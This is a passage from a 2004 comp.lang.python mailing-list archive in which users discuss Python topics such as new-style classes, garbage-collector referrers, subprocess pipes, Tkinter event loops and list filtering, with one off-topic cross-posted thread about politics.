...             self.test()
...
>>> d = derived()
>>> d.showit()
Just a test
>>>  

There was no "__init__" explicitly defined in 'test'. 


Be seeing you,
-- 
Godoy.     <godoy at ieee.org>


From rff_rff at remove-yahoo.it  Thu Sep  2 07:58:45 2004
From: rff_rff at remove-yahoo.it (gabriele renzi)
Date: Thu, 02 Sep 2004 11:58:45 GMT
Subject: python.NET vs. IronPython
In-Reply-To: <4136fe58$0$285$4d4ebb8e@news.nl.uu.net>
References: <mailman.2758.1094113688.5135.python-list@python.org>
	<xzh9kwuw4lj8$.18shw4j93827i.dlg@40tude.net>
	<4136fe58$0$285$4d4ebb8e@news.nl.uu.net>
Message-ID: <VVDZc.72771$1V3.1762544@twister2.libero.it>

Guyon Mor?e ha scritto:

> Can anyone tell me the difference between python.net and IronPython?
> 

the former is a bridge from CPython to .ent, the latter is a 
reimplementation of Python over .net .



From aleaxit at yahoo.com  Wed Sep  8 05:30:38 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 8 Sep 2004 11:30:38 +0200
Subject: Property confusion
References: <mailman.3026.1094635089.5135.python-list@python.org>
Message-ID: <1gjsl5o.15bvxp2jhbk2gN%aleaxit@yahoo.com>

kepes.krisztian <kepes.krisztian at peto.hu> wrote:
   ...
> class A:
   ...
>       GS=property(g,s)

> If I not use object, the GS is used as member, not property.

It's BOUND as an instance attribute, after which that takes precedence.
Only newstyle classes can fully support the new descriptors; classic
classes cannot, that would break backwards compatibility.

Always use newstyle classes unless you specifically need to support
legacy code.  Handiest way may be to always start your modules with

__metaclass__ = type

This makes all parents-less classes newstyle by default.  Without this
global, a parent-less class must be oldstyle by default, to keep full
backwards compatibility with Python as it was 3+ years ago.


Alex


From deetsNOSPAM at web.de  Tue Sep  7 14:00:58 2004
From: deetsNOSPAM at web.de (Diez B. Roggisch)
Date: Tue, 07 Sep 2004 20:00:58 +0200
Subject: gc.get_referrers trouble
Message-ID: <chkt0m$av0$04$1@news.t-online.com>

Hi,

I'm in the process of debugging a mem-leaking app. A recent thread here on
c.l.py mentioned the use of the gc module, so I gave it a try.

However, using get_referrers() yields in literally thousands of objects for
even the tiniest example like this:

import gc
a = [1]
print  gc.get_referrers(1)

Running that from bash gives me this:

# python /tmp/test.py | wc
     23    7196   67165

Now I'm confused - how do I interpret the results of get_referrers()
correctly?

-- 
Regards,

Diez B. Roggisch


From aleaxit at yahoo.com  Tue Sep 14 08:41:34 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 14 Sep 2004 14:41:34 +0200
Subject: funcs vs vars in global namespace
References: <J8B1d.3$26.1@llslave.llan.ll.mit.edu>
Message-ID: <1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com>

David Rysdam <drysdam at ll.mit.edu> wrote:
   ...
> def sumWithGlobal(a):
>      return a + b
   ...
> #Here is define sumWithGlobals but not b and it still works.  Why?
> #Shouldn't I get an error that b is undefined, since it isn't in the
> #globals dict of the eval?
> print 'Case 4: Attempt to set just the function sumWithGlobal (succeeds
> for unknown reason'
> print eval("sumWithGlobal(2)", {'sumWithGlobal':sumWithGlobal})
> print

The function sumWithGlobal, internally, uses the global dictionary of
the module it was defined in, NOT that of the module it's being called
from, including the "kinda sorta pseudo" module you have within an eval.
This also explains:

> If I add a "print globals()" to sumWithGlobal, I see {'b':2} in there in
> cases 1, 2, 4 and 5.  What am I doing wrong?

You're misunderstanding Python globals: they are per-module, not "across
all modules".


Alex


From dontwant at spam.com  Sat Sep  4 11:20:05 2004
From: dontwant at spam.com (Courageous)
Date: Sat, 04 Sep 2004 15:20:05 GMT
Subject: Proposal for removing self
References: <mailman.2479.1093564328.5135.python-list@python.org>
	<1gj65zl.1cuz9ub5xyo3rN%aleaxit@yahoo.com>
	<slrnciuotp.tkp.ramen@lackingtalent.com>
Message-ID: <75njj015uaeekq6m6eb6fgknl7eugce5c1@4ax.com>


>Java's generics aren't nearly as liberal as C++ templates. They're basically
>just syntax sugar for casting, so I doubt this would change much. I still
>prefer the explicit "this." or "self.", 

I prefer explicit self, but have often wished that it could disappear
syntactically as the first argument to methods. I've never seen a
really compelling reason for that.

C//



From davecook at nowhere.net  Mon Sep 20 21:59:26 2004
From: davecook at nowhere.net (Dave Cook)
Date: Tue, 21 Sep 2004 01:59:26 GMT
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
Message-ID: <slrnckv2np.2gu.davecook@localhost.localdomain>

In article <mailman.3520.1095631846.5135.python-list at python.org>, julio wrote:

>   Sorry but there is no another way, c# .net and mono are going to rip
> python, not because python is a bad lenguage, but because is to darn old

I don't really get the connection between the two.  C# is a very different
type of language, with a different market.

And I still don't understand the "why" of mono.

> What does c# .net has that python doesnt ? (significant features) 
> 
> -- tools,tools,tools : 

Because it needs lots of tools to be useable.  A lot of those tools simply
don't apply to Python.

> have people that likes python ever used an ide?

What exactly will one do for me?  Concrete examples appreciated.

Dave Cook



From danb_83 at yahoo.com  Thu Sep  9 01:26:46 2004
From: danb_83 at yahoo.com (Dan Bishop)
Date: 8 Sep 2004 22:26:46 -0700
Subject: Remove items from a list
References: <ysv%c.32876$Dl4.14767@fe2.texas.rr.com>
	<mailman.3029.1094638477.5135.python-list@python.org>
	<a0a1779c.0409081206.21b2757e@posting.google.com>
Message-ID: <ad052e5c.0409082126.73478f9c@posting.google.com>

qdunkan1 at hotmail.com (Quinn Dunkan) wrote in message news:<a0a1779c.0409081206.21b2757e at posting.google.com>...
> Egbert Bouwman <egbert.list at hccnet.nl> wrote in message news:<mailman.3029.1094638477.5135.python-list at python.org>...
> > On Wed, Sep 08, 2004 at 03:59:26AM +0000, Stan Cook wrote:
> > > I was trying to take a list of files in a directory and remove all but the ".dbf" files.  I used the following to try to remove the items, but they would not remove.  Any help would be greatly appreciated.
> > > 
> > > x = 0
> > > for each in _dbases:
> > >     if each[-4:] <> ".dbf":
> > >             del each            # also tried:   del _dbases[x]
> > >     x = x + 1
> > > 
> > > I must be doing something wrong, but it acts as though it is....
> > > 
> > The answers you received don't tell you what you are doing wrong.
> > If you replace 'del each' with 'print each' it works,
> > so it seems that you can not delete elements of a list you are 
> > looping over. But I would like to know more about it as well.
> > egbert
> 
> "for each in ..." makes 'each' signify an element of _dbases.  Then
> "del each" makes 'each' no longer signify anything.  So the above doesn't
> really do anything at all.  "del _dbases[x]" however does work, but
> notice that if you delete element 3, element 4 becomes element 3, etc.  Then
> when 'x' is incremented to 4, you've skipped what used to be element 4 (which
> is now element 3).  In general, modifying a list while iterating over it is
> more trouble than it's worth.  Go with the listcomp solutions.

And if for some reason you can't use listcomps, you can use an approach like:

for (x, each) in enumerate(_dbases):
   if each[-4:] != ".dbf":
      # don't use del, just mark the slot as empty
      _dbases[x] = None
# Now filter out Nones
_dbases = [x for x in _dbases if x is not None]


From jerf at jerf.org  Tue Sep  7 16:18:49 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Tue, 07 Sep 2004 20:18:49 GMT
Subject: unexplained behavior of tkMessageBox.askyesno
References: <Pine.LNX.4.44.0409072116420.1090-100000@kleigh.nl>
	<Pine.LNX.4.44.0409072141110.1090-100000@kleigh.nl>
Message-ID: <pan.2004.09.07.16.19.01.81605@jerf.org>

On Tue, 07 Sep 2004 21:43:02 +0200, Peter Kleiweg wrote:
> If I have used openProject(), the function makeClean() always
> prints 'False', no matter what I choose.

If I had to guess, I'd say the problem is that you aren't using Tk
correctly. You really need to run

root = Tk()
root.mainloop()

to be confident everything will work as advertised. Which means you'll
need to re-structure your program a bit.

Tk, as GUI toolkits go, is surprisingly effective without its mainloop
running; many GUI toolkits won't even get that far. However, in my
experience, you'll get random-seeming failures from anything that requires
events to work properly, and "mouse clicking" is an event.


From klappnase at web.de  Sun Sep  5 19:14:36 2004
From: klappnase at web.de (klappnase)
Date: 5 Sep 2004 16:14:36 -0700
Subject: Linux application deployment
References: <cheog1$ns4$1@atlantis.news.tpi.pl> <413B2D73.3010106@cs.com>
	<chfbpt$q6p$3@nemesis.news.tpi.pl>
	<slrncjmf9a.k9r.grante@isis.visi.com>
	<chfh9i$kda$1@nemesis.news.tpi.pl>
Message-ID: <a7a67196.0409051514.f48bfa@posting.google.com>

Jarek Zgoda <jzgoda at gazeta.usun.pl> wrote in message news:<chfh9i$kda$1 at nemesis.news.tpi.pl>...
> Grant Edwards <grante at visi.com> pisze:
> 
> >> import sys, os
> >>
> >> me = os.path.abspath(sys.argv[0])
> > 
> > That's only mostly reliable.  Nothing in Linux/Unix actually requires that
> > argv[0] be the program's path.  It is the convention to pass that as
> > argv[0], but there may be corner cases where it doesn't work.
> 
> Based on Python docs:
> 
> """
> argv
> 
>     The list of command line arguments passed to a Python script.
>     argv[0] is the script name (it is operating system dependent whether
>     this is a full pathname or not). If the command was executed using
>     the -c command line option to the interpreter, argv[0] is set to the
>     string '-c'. If no script name was passed to the Python interpreter,
>     argv has zero length.
> """
> 
> http://docs.python.org/lib/module-sys.html
> 
> In my opinion, this would be enough to get full path of currently
> running program, if run from script. Are there any caveats (except this
> "-c" option, which I don't count, as is not relevant in most cases)?

If you use a symbolic link to start the program sys.argv[0] will
return the location of the link instead of the path to your
application file I think. Anyway you can get the directory of the
application file with sys.path[0] if you need it.
However, why not just put all application files into one directory
(like /usr/local/share/yourApp or /opt/lib/myApp or something) and
start it from a link from /usr/local/bin (or /opt/bin) to your app's
main program file instead of messing around with sys.path , at least
it's the easiest solution and I don't really see the benefit of
putting the files into different directories unless you have modules
other people might want to use, in which case python's site-packages
directory would probably be the preferred location.
Just a personal opinion of course.

Regards

Michael


From eurleif at ecritters.biz  Tue Sep  7 04:48:29 2004
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Tue, 07 Sep 2004 04:48:29 -0400
Subject: Anyone know anything named DX?
In-Reply-To: <1gjqlvl.1wxc90o5nbl3mN%aleaxit@yahoo.com>
References: <20040901221925.2128958333.EP@zomething.com>
	<mailman.2945.1094509287.5135.python-list@python.org>
	<pan.2004.09.06.21.29.05.273319@jerf.org>
	<1stv02-qlp.ln1@home.rogerbinns.com> <2q55tcFrgjv1U1@uni-berlin.de>
	<1gjqlvl.1wxc90o5nbl3mN%aleaxit@yahoo.com>
Message-ID: <2q5am9Fqu2fuU3@uni-berlin.de>

Alex Martelli wrote:
> There's a recipe for the first part of this (generating
> non-totally-ranom passwords by pastiche, i.e. Markov Chain) in the 1st
> printed edition of the Cookbook -- it would be neat to add a back-end
> for the second part, the check with the Google API...

I've played around with Markov Chains the Google API before, and it 
wouldn't be very hard to implement (if you don't care about speed or 
sanity, anyway). I think the toughest part would be gathering word lists 
for the subject matter Roger Binns mentioned.


From apardon at forel.vub.ac.be  Fri Sep  3 09:47:07 2004
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 3 Sep 2004 13:47:07 GMT
Subject: allowing braces around suites
References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no>
	<slrncj8kv2.kp.apardon@trout.vub.ac.be>
	<slrncj8mvt.djm.sholden@flexal.cs.usyd.edu.au>
	<slrncj94hr.kp.apardon@trout.vub.ac.be>
	<du7oekrnwc8.fsf@amadeus.cc.tut.fi>
	<slrncjaq3l.kp.apardon@trout.vub.ac.be>
	<pan.2004.09.01.12.03.39.285610@jerf.org>
	<slrncje0vr.7or.apardon@rcpc42.vub.ac.be>
	<pan.2004.09.02.13.05.51.473986@jerf.org>
	<slrncjg47t.7or.apardon@rcpc42.vub.ac.be>
	<mailman.2827.1094217339.5135.python-list@python.org>
Message-ID: <slrncjgth7.7or.apardon@rcpc42.vub.ac.be>

Op 2004-09-03, Carlos Ribeiro schreef <carribeiro at gmail.com>:
> [Antoon Pardon]
>> Just because I think that
>> 
>>   for ...
>>     if ...
>>       for
>>         loop
>>         code
>>       endfor
>>     endif
>>   endfor
>>   remainder
>> 
>> is in general more readable than
>> 
>>   for ...
>>     if ...
>>       for ...
>>         loop
>>         code
>>   remainder
>> 
>> I'm writing spaghetti code.
>
> I would not go that far as to say that you are writing spaghetti code.
> But I really think that the Python-styled code is easier to read. It
> may be a matter of personal opinion.

Fine then we will have to agree to disagree on this point.

> One distinct advantage of
> Python's style is that it makes for a slightly shorter code, which in
> turn fits better into the editing window. And nothing stops you from
> using comments or whitespace to mark the end of the enclosed blocks.
> So this is not necessary... and insisting loudly on your point doesn't
> help, either.

But a lot of things are not necessary but ended up in python because
they were thought to be usefull. So that this is not necessary can
hardly be a strong point against it.

What irks me is that when some proposals are done, people come
with arguments against the proposal that would disallow a lot
of other things already in python if such an argument would
really be so strong.

Explicit is better than implicit is one that comes to mind.
If python wouldn't do anything implicit then python would
be a whole different language and IMO would probably be
far less usefull.

-- 
Antoon Pardon


From ruchika_khera at hotmail.com  Thu Sep  9 01:28:11 2004
From: ruchika_khera at hotmail.com (Ruchika)
Date: 8 Sep 2004 22:28:11 -0700
Subject: popen3 and Perforce
Message-ID: <82880e86.0409082128.253ca340@posting.google.com>

Hi,

I am trying to automate the build process for which I need to run P4
commands from the Python script. After getting sources from Perforce,
I need to build them using Visual C++ from the script.
I wrote a small script that calls the P4 sync command from the script
-

try:
     in, out, err = os.popen3('P4 -s sync -f /dev/src/...')
     x = len (in.readlines())
     y = len (out.readlines())
     z = len (err.readlines())
     print x
     print y
     print z
except IOError:
     print "IOError"
except:
     print "Unknown"

Tha above returns from os.opopen3 almost immediately, goes to x = len
(in.readlines()) and then jumps to the IOError exception.
Can anyone help me figure out whats happening.
Is this the right way of using popen3 commands. Anyone has other
suggestions on how to automate this. Do I need to wait for the "P4
sync" command to complete before proceeding with reading from the
files?
How would I know if the "P4 sync" command is actually executing?

Thanks.
Ruchika


From marklists at mceahern.com  Sun Sep 12 19:59:16 2004
From: marklists at mceahern.com (Mark McEahern)
Date: Sun, 12 Sep 2004 18:59:16 -0500
Subject: Python or 4NT?  With a question or two about popen()
In-Reply-To: <95c29a5e.0409121552.af6bdba@posting.google.com>
References: <95c29a5e.0409121552.af6bdba@posting.google.com>
Message-ID: <1095033555.25153.14.camel@dev.internal>

On Sun, 2004-09-12 at 18:52, Robin Siebler wrote:
> And how, exactly, do I *use* popen4()?

import os
command = 'ls -al nonexistent'
fin, fout = os.popen4(command)
# I never futz with stdin.
fin.close()
output = fout.read()
exitCode = fout.close()
if exitCode:
    print 'Error running %(command)s:\n%(output)s' % locals()
else:
    print 'Success running %(command)s:\n%(output)s' % locals()

This may have minor syntactical errors or typos--since I'm not verifying
it by running it.  But mostly, the above pattern should work.

Questions?

// m



From saurabhagarwal1981 at gmail.com  Thu Sep 23 05:10:14 2004
From: saurabhagarwal1981 at gmail.com (Saurabh Agarwal)
Date: Thu, 23 Sep 2004 14:40:14 +0530
Subject: How to send SIGTSTP,
	SIGCONt signals to a script scheduled using cron
Message-ID: <b237c3a1040923021042f3839e@mail.gmail.com>

Hi all,
I had scheduled a script using cron and got pid of it when it is
running as it is running for a long time.The script is  somewhat like

cmd
sleep 10
cmd2
sleep  20
..
This is scheduled using cron now i want to send SIGTSTP signal to it
to suspend it
and SIGCONT to resume it but these signals are not working please help urgently.
kill -SIGTSTP pid

Thanks
-- 
Saurabh Agarwal
9868358071


From hans at zephyrfalcon.org  Thu Sep 23 13:29:39 2004
From: hans at zephyrfalcon.org (Hans Nowak)
Date: Thu, 23 Sep 2004 13:29:39 -0400
Subject: up with PyGUI!
In-Reply-To: <KgB4d.25594$pA.1567708@news20.bellglobal.com>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<414783DD.4070509@zephyrfalcon.org>
	<4lf4d.15151$pA.1180511@news20.bellglobal.com>
	<4151B7C4.6070003@zephyrfalcon.org>
	<KgB4d.25594$pA.1567708@news20.bellglobal.com>
Message-ID: <41530803.3090805@zephyrfalcon.org>

Nicolas Fleury wrote:
> What I'm suggesting is to avoid the redundacy and do:
> parent.Add(Button(...))
> 
> I've done it for some GUI framework where I work encapsulating wxPython. 
>  The drawback is that you need to delay the creation of widgets, which 
> means some attributes might be stored twice.  But it's definitely easier 
> to use.

I'm not sure it's *that* much easier... all you're saving is one parameter.

> Another thing I'm suggesting is a mechanism to not destroy a widget 
> until it's corresponding python object is destroyed.  It's more complex, 
> but Python has already ownership with refcount, garbage collection, etc. 
> and I think a truly pythonic GUI framework should use the same ownership 
> mechanism.

Hm.  I'm not sure how wxPython handles that, and if it would be possible to 
impose such a system on top of it.

>>> It could also be a good idea to take the occasion to respect PEP8.  
>>
>> Which recommendations of the style guide does the Wax code violate?
> 
> IIRC, method names beginning with lowercase, as all the Python API.

Wax follows the wxPython standard here.  Since most Wax controls derive 
directly from wxPython classes, it would make little sense to add lowercase 
methods to the mix (next to the existing uppercase methods), or to convert them.

>>> Note also that "import wax" would be better than "from wax import *".
>>
>> I'm considering it.  This way, it would also be possible to import 
>> things on demand.  On the other hand, I don't like to write 'wax.' 
>> before everything.
> 
> It's just that when you work multiple modules, autocompletion for a 
> module doing a "from wx import *" is a nightmare (and is also slowing 
> debuggers, since so many symbols are in each module namespace).  If wax 
> becomes big, it would also be a pain.  You can do "import wax as w" ;)

I personally like 'from wax import *', kind of like how Tkinter is usually 
imported.  Either way currently works, though.  Should I use the "lazy" 
importing (which is admittedly useful), then the star-import would not be 
possible anymore, I think.

--
Hans Nowak (hans at zephyrfalcon.org)
http://zephyrfalcon.org/



From mfuhr at fuhr.org  Wed Sep 29 09:50:34 2004
From: mfuhr at fuhr.org (Michael Fuhr)
Date: 29 Sep 2004 07:50:34 -0600
Subject: Maximum number of threads
References: <xbt6d.2829$gm.1283@okepread07>
Message-ID: <415abdaa$1_1@omega.dimensional.com>

Kirby Angell <kangell at alertra.com> writes:

> We are porting our applications from Python 2.2 on RH9 to Python 2.3 on 
> RH9.  One of our apps used to be able to create threads with wild 
> abandon, 800 or more if necessary.  With Python 2.3 we are hitting a 
> hard limit of 254 on RH9 and around 400 on FC2.

What happens when you hit this "hard limit"?  If there's an error
message then it might hint at the problem.

> What is the limiting factor for the number of threads we can create?  Is 
> there a way to increase it?

I'm not current on Linux threading models -- do these versions of
Linux create a new process for each thread?  If so, could resource
limits be preventing you from creating more threads?

-- 
Michael Fuhr
http://www.fuhr.org/~mfuhr/


From sholden at flexal.cs.usyd.edu.au  Thu Sep  9 05:11:10 2004
From: sholden at flexal.cs.usyd.edu.au (Sam Holden)
Date: 9 Sep 2004 09:11:10 GMT
Subject: popen3 and Perforce
References: <82880e86.0409082128.253ca340@posting.google.com>
Message-ID: <slrnck07he.t4.sholden@flexal.cs.usyd.edu.au>

On 8 Sep 2004 22:28:11 -0700, Ruchika <ruchika_khera at hotmail.com> wrote:
> Hi,
>
> I am trying to automate the build process for which I need to run P4
> commands from the Python script. After getting sources from Perforce,
> I need to build them using Visual C++ from the script.
> I wrote a small script that calls the P4 sync command from the script
> -
>
> try:
>      in, out, err = os.popen3('P4 -s sync -f /dev/src/...')
>      x = len (in.readlines())
>      y = len (out.readlines())
>      z = len (err.readlines())
>      print x
>      print y
>      print z
> except IOError:
>      print "IOError"
> except:
>      print "Unknown"
>
> Tha above returns from os.opopen3 almost immediately, goes to x = len
> (in.readlines()) and then jumps to the IOError exception.
> Can anyone help me figure out whats happening.

Reading from an output only filehandle is probably doomed to fail.

-- 
Sam Holden


From greg.lindstrom at novasyshealth.com  Fri Sep 10 13:10:48 2004
From: greg.lindstrom at novasyshealth.com (Greg Lindstrom)
Date: Fri, 10 Sep 2004 12:10:48 -0500
Subject: Building Very Large Records
Message-ID: <008f01c49759$1e8e6af0$054b12ac@D18SYX41>

Hello-

I am working on a routine to pull information from an Oracle database and
format it into fixed-length records.  My problem is that the record layout
is quite long (over 500 bytes) and contains dozens of fields.  How would
*you* go about building such a beast?  I know that using the += operator is
a bad idea, as it creates a new copy of the string each time.  How about the
struct.pack() method?  A very big '%-12.12s%-50.50s.......' statement?
Other ideas?  It does not have to be blazingly fast, but it doesn't have to
suck, either.  I don't know enough about Oracle SQL yet, could I format the
data in the SQL call?

Thanks,

Greg Lindstrom                                         (501) 975-4859
NovaSys Health                  greg.lindstrom at novasyshealth.com

"We are the music makers, and we are the dreamers of dreams"  W.W.



From donald.welch at hp.com  Wed Sep 22 16:04:22 2004
From: donald.welch at hp.com (djw)
Date: Wed, 22 Sep 2004 13:04:22 -0700
Subject: detecting variable types
References: <cisjhb$6kr$1@news-int.gatech.edu>
	<Y-WdnWCkPIytTszcRVn-vQ@powergate.ca>
	<ciskpq$7f2$1@news-int.gatech.edu>
Message-ID: <4151dbb1@usenet01.boi.hp.com>

Jay wrote:

> Thanks, Peter.
> 
> Here's what I'm trying to do:
> 
> I have a function like this:
> 
> def func(**params):
> 
>     # if params[key1] is a single string
>         # do something with params[key1]
> 
>     # if params[key1] is a list of strings
>         for val in params[key1]:
>             # do something
> 
> Could you suggest a better way to do this without detecting the type?
> 
> 
> Jay.
> 
> 
> "Peter Hansen" <peter at engcorp.com> wrote in message
> news:Y-WdnWCkPIytTszcRVn-vQ at powergate.ca...
>> Jay wrote:
>> > I'm sure this is a really dumb question, but how do you detect a
> variable
>> > type in Python?
>> >
>> > For example, I want to know if the variable "a" is a list of strings or
> a
>> > single string. How do I do this?
>>
>> Use the builtin function "type()", but note the following:
>>
>> 1. Variables don't actually have types in Python (and they're usually
>> called "names" in Python, for various reasons), but the data they are
>> currently bound to does have a type and that's what type() returns.
>> Often the distinction won't matter to you...
>>
>> 2. Most of the time people trying to do what you are probably trying
>> to do are going about things the wrong way, often from experience
>> with other languages.  Lots of Python folks would be happy to introduce
>> you to "better" ways to do things, if you'll explain the use case
>> and tell us what you're actually trying to accomplish.  (Of course,
>> using "type()" will work, but it's rarely considered the best
>> approach in the Python community.)
>>
>> -Peter


One obvious way, in this case is to always pass in a list of strings. A
single string would be passed in as a list with a single string item in it.

def func( stringlist ):
        for s in stringlist:
                #do something with s

func( [ "single string" ] )
func( [ "more", "than", "one", "string" ] )

Other than that, if the functions are really doing something very different
given different parameter types, then I would make separate functions.

-Don



From __peter__ at web.de  Tue Sep  7 13:45:53 2004
From: __peter__ at web.de (Peter Otten)
Date: Tue, 07 Sep 2004 19:45:53 +0200
Subject: hex value in string back to real hex value
References: <106645cc.0409070847.40b87e6e@posting.google.com>
Message-ID: <chks4h$o8r$01$1@news.t-online.com>

jack wrote:

> I get in a program an hexa value codes in a string for example \xe7
> which correspond to a french character.
> 
> The string would be "\xe7t\xe7" and I want to write in a file ?t? and
> not \xe7t\xe7.
 
"\xe7t\xe7" _is_ the same as "?t?" if you are using e. g. the ISO-8859-1
encoding, so chances are you will see ?t? if you open the file in a text
editor without the need of prior conversions.

But I may be misunderstanding you and you really have "\\xe7t\\xe7" - in
that case you can use de/encode to switch between the two representations:

>>> "?t?".encode("string_escape")
'\\xe9t\\xe9'
>>> _.decode("string_escape")
'\xe9t\xe9'
>>> print _
?t?

(In the interpreter the result of the previous calculation is assigned to _
if it is not None)

Peter




From rich.teer at rite-group.com  Wed Sep  1 20:01:39 2004
From: rich.teer at rite-group.com (Rich Teer)
Date: Thu, 02 Sep 2004 00:01:39 GMT
Subject: Xah Lee's Unixism
In-Reply-To: <819.740T630T6713647@kltpzyxm.invalid>
References: <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<du7k6vfnvx9.fsf@amadeus.cc.tut.fi> <4134AC88.56452265@yahoo.com>
	<aN2Zc.10226$QJ3.5466@newssvr21.news.prodigy.com>
	<4135cea1$0$19726$61fed72c@news.rcn.com>
	<819.740T630T6713647@kltpzyxm.invalid>
Message-ID: <Pine.SOL.4.58.0409011700580.9082@zaphod.rite-group.com>

On Wed, 1 Sep 2004, Charlie Gibbs wrote:

>  X   Top-posted messages will probably be ignored.  See RFC1855.
> / \  HTML will DEFINITELY be ignored.  Join the ASCII ribbon campaign!

Well said, that man!  (Here, HTML messages are bounced by my
mail server, so I don't even see 'em...)

-- 
Rich Teer, SCNA, SCSA, author of "Solaris Systems Programming",
published in August 2004.

President,
Rite Online Inc.

Voice: +1 (250) 979-1638
URL: http://www.rite-group.com/rich


From aleaxit at yahoo.com  Fri Sep 24 03:28:20 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 24 Sep 2004 09:28:20 +0200
Subject: Why not FP for Money?
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
	<10l0lpt9n0n5k9c@news.supernews.com>
	<ad052e5c.0409211611.7e4411e@posting.google.com>
	<4t33l0h66h171hcb6riu97s55pj0860hdf@4ax.com>
	<mailman.3721.1095866067.5135.python-list@python.org>
	<cc887c1d.0409222103.388c40de@posting.google.com>
	<mailman.3775.1095939700.5135.python-list@python.org>
	<Xns956D83A8D1E7duncanrcpcouk@127.0.0.1>
	<mailman.3781.1095942759.5135.python-list@python.org>
	<civ705$4kl$1@panix1.panix.com>
	<mailman.3809.1095967700.5135.python-list@python.org>
Message-ID: <1gkm1wt.1twm02s1cr3m7hN%aleaxit@yahoo.com>

Carlos Ribeiro <carribeiro at gmail.com> wrote:
   ...
> A native Money type, either with the $ signal ($35.72) or the suffix
> (35.72D) would not present the same issues, because the literal would

Right, but in practice I find that:

def d(x): return decimal.Decimal(str(x))

appears to work pretty well, judging from early experimentation.


Alex


From peter at engcorp.com  Fri Sep 24 07:41:44 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Sep 2004 07:41:44 -0400
Subject: file read, binary or text mode
In-Reply-To: <41540121$0$3891$4d4ebb8e@news.nl.uu.net>
References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net>
Message-ID: <MaqdnVoFl5tkmsncRVn-uQ@powergate.ca>

Guyon Mor?e wrote:
> what is the difference?
> 
> if I open a text file in binary (rb) mode, it doesn't matter... the read()
> output is the same.

If you are on Linux that's the case...  or under other
conditions.  Maybe describing your platform and showing
an example of what you're trying to do would be helpful.

-Peter


From peter at engcorp.com  Mon Sep 27 12:02:16 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 27 Sep 2004 12:02:16 -0400
Subject: synchronize a block
In-Reply-To: <DUT5d.438$gk.278@okepread01>
References: <2rqduhF1di4lmU1@uni-berlin.de>
	<b5qdnRyUvIusnsXcRVn-gA@powergate.ca> <DUT5d.438$gk.278@okepread01>
Message-ID: <WfudnV7vZuEUpMXcRVn-jQ@powergate.ca>

Steve Holden wrote:
> "In the face of ambiguity, refuse the temptation to guess" :-)
> 
> One of the best features of c.l.py is how questions phrased in the most 
> ambiguous terms are often slowly elaborated into meaningful enquiries.

Sometimes, and more so lately, *painfully* slowly.  I'm somewhat
saddened by the waste involved in some of those threads where the
OP posts a vague question, we all spend days replying with various
guesses at what was really intended, and then finally the OP
posts again (and sometimes they don't even do us that courtesy!)
and says merely "oh, it wasn't that complicated, I just meant X"
and it turns out to have been a FAQ item anyway. :-(

But then, Steve, you're an optimist and I'm not.  ;-)

-Peter


From ivoras at __-geri.cc.fer.hr  Thu Sep 16 11:13:25 2004
From: ivoras at __-geri.cc.fer.hr (Ivan Voras)
Date: Thu, 16 Sep 2004 17:13:25 +0200
Subject: Rotating lists?
In-Reply-To: <4148c7d4$0$78753$e4fe514c@news.xs4all.nl>
References: <ciaek6$6l$1@bagan.srce.hr>
	<4148c7d4$0$78753$e4fe514c@news.xs4all.nl>
Message-ID: <cicaij$qcp$2@bagan.srce.hr>

Irmen de Jong wrote:
> This smells like a use-case for itertools.cycle:
> 
>  >>> import itertools
>  >>> c=itertools.cycle( [1,2,3] )
>  >>> c.next()
> 1
>  >>> c.next()
> 2
>  >>> c.next()
> 3
>  >>> c.next()
> 1
>  >>> c.next()
> 2
> 
> ... or is this not what you need to rotate your lists for?

No, I don't need an (infinite) cycle, just the rotated list. But thanks, 
I didn't notice itertools before :)


From kkt at drizzle.com  Sat Sep 18 02:10:27 2004
From: kkt at drizzle.com (Patrick Scheible)
Date: 17 Sep 2004 23:10:27 -0700
Subject: Xah Lee's Unixism
References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<4140688e$0$6912$61fed72c@news.rcn.com>
	<flrphc.tlk1.ln@via.reistad.priv.no> <4140A885.90B945AC@yahoo.com>
	<4jkqhc.p7p1.ln@via.reistad.priv.no>
	<1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com>
	<Zdm0d.88398$S55.30393@clgrps12>
	<chsvv6$v15$1@grandcanyon.binc.net> <tqm3c1krcuo.fsf@drizzle.com>
	<r6gek0diq28jqi0ie18hku87r8865lt3p8@4ax.com>
Message-ID: <tqmhdpwqf8s.fsf@drizzle.com>

Alan Balmer <albalmer at att.net> writes:

> On 14 Sep 2004 10:15:27 -0700, Patrick Scheible <kkt at drizzle.com>
> wrote:
> 
> >Chuck Dillon <spam at nimblegen.com> writes:
> >
> >> Coby Beck wrote:
> >> 
> >> >>
> >> >>And, of course, entertaining the possibility that his agenda is just
> >> >>what he says it is, is completely out of the question.
> >> > Not out of the question, be obviously untrue.
> >> 
> >> Again, I'll point out that it is naive to put this entirely on the
> >> administration.  We're in Iraq because we effectively declared
> >> war. The dance with the U.N. went on for some 3 months.  It was clear
> >> where we were headed.  Our congress, including Kerry and all of the
> >                                                           ^^^
> >Not all.  I'm happy to say my representative and one of my senators
> >voted against the resolution authorizing the war.
> >
> >Congress doesn't have its own intelligence service.  If the
> >administration claims to have clear evidence that a country has WMD
> >there's only so much that a minority party in congress can do to find
> >out if the administration is lying or engaged in wishful thinking.
> 
> http://intelligence.house.gov/
> http://intelligence.senate.gov/

They have committees, they don't have independent
intelligence-gathering ability.

-- Patrick


From janimal at mail.trillegaarden.dk  Tue Sep 28 09:28:19 2004
From: janimal at mail.trillegaarden.dk (Ling Lee)
Date: Tue, 28 Sep 2004 15:28:19 +0200
Subject: Problem with a dictionary program....
Message-ID: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net>

Hello.

